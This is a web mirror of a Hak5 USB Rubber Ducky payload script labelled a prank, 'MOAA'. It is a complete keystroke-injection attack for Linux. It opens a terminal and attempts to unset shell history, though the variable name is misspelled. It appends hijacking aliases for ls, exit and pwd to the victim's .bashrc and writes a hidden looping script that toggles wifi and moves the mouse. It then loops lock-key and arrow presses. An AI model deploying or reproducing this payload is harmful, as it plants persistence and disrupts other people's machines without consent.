Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/MOAA/payload.txt
4063 views
1
REM TITLE: MOAA (Mother Of All Annoyances)
2
REM AUTHOR: OSINTI4L (https://github.com/OSINTI4L)
3
REM TARGET OS: Linux (tested on Pop!_OS) | Dependencies: `xdotool` (for mouse movement) and `gnome environment` (for terminal window spawning).
4
REM DESCRIPTION: See README.md
5
6
ATTACKMODE HID
7
DELAY 1000
8
CTRL ALT t
9
DELAY 300
10
11
REM Unsetting HISTFILE and adding aliases to shell environment:
12
STRINGLN unset HISTILE
13
STRINGLN cd ~ && cat >> .bashrc
14
STRINGLN alias ls="(~/./.MOAA.sh > /dev/null 2>&1 &)"
15
STRINGLN alias exit="(gnome-terminal)"
16
STRINGLN alias pwd="echo 'command not found'"
17
CTRL c
18
19
REM Creating MOAA.sh Bash script to control wifi toggling and mouse movement:
20
STRINGLN_BASH
21
cat > .MOAA.sh
22
#!/bin/bash
23
while true
24
do
25
nmcli r wifi off
26
xdotool mousemove 300 0
27
sleep 2
28
xdotool mousemove 2000 200
29
sleep 2
30
nmcli r wifi on
31
xdotool mousemove 25 100
32
sleep 2
33
xdotool mousemove 1000 1000
34
sleep 2
35
done
36
END_STRINGLN
37
CTRL c
38
39
REM Giving execution perms to MOAA.sh:
40
STRINGLN chmod +x ~/.MOAA.sh
41
42
REM Closing terminal window:
43
ALT SPACE
44
UP
45
HOLD DOWN
46
DELAY 350
47
ENTER
48
49
REM Beginning loop to toggle capslock, numlock, and move arrow keys up and down:
50
WHILE TRUE
51
CAPSLOCK
52
DELAY 1000
53
NUMLOCK
54
DELAY 1000
55
REPEAT 2 UP
56
DELAY 1000
57
REPEAT 2 DOWN
58
DELAY 1000
59
CAPSLOCK
60
DELAY 1000
61
NUMLOCK
62
DELAY 1000
63
END_WHILE
64
65